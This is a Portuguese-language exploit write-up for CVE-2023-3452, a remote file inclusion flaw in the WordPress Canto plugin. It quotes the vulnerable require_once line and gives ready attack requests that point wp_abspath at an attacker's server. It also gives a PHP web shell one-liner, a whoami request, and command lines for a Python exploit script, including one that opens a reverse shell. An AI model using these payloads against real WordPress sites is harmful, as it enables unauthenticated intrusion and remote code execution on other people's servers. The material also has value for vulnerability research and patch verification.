
Wordpress Plugin Canto < 3.0.5 - Inclusão Remota de Arquivo (RFI) e Execução Remota de Código (RCE)
Aqui explicamos uma PoC da mais recente vulnerabilidade de RFI (Remote File Inclusion) do plugin Canto do WordPress, e desenvolvemos um exploit para automatizar a execução de comandos.
"O plugin Canto para WordPress é vulnerável a Remote File Inclusion em versões até, e incluindo, 3.0.4 através do parâmetro 'wp_abspath'. Isso permite que atacantes não autenticados incluam e executem código remoto arbitrário no servidor, desde que allow_url_include esteja habilitado. Local File Inclusion também é possível, embora menos útil porque requer que o atacante consiga enviar um arquivo php malicioso via FTP ou algum outro meio para um diretório legível pelo servidor web." (https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
Este exploit explora uma falha no parâmetro wp_abspath, como pode ser visto na seguinte linha de código includes/lib/download.php:
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
Para explorar esta vulnerabilidade, também é necessário que o parâmetro allow_url_include=On esteja habilitado na configuração do PHP.
É possível fazer requisições com este parâmetro apontando para o nosso servidor web, a partir do qual o código PHP será interpretado. Por exemplo, se fizermos a seguinte requisição, podemos verificar que recebemos a requisição no nosso servidor:
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

Vemos que o servidor chama o arquivo /wp-admin/admin.php, então se criarmos o diretório e adicionarmos nosso código php malicioso ao arquivo admin.php, o servidor vulnerável o baixa e o executa corretamente.
Por exemplo, se escrevermos em nosso arquivo admin.php um web-shell php <?php system($_GET['cmd']); ?>, podemos executar código remotamente.
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

Tudo isso foi automatizado no exploit em Python: CVE-2023-3452.py
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php
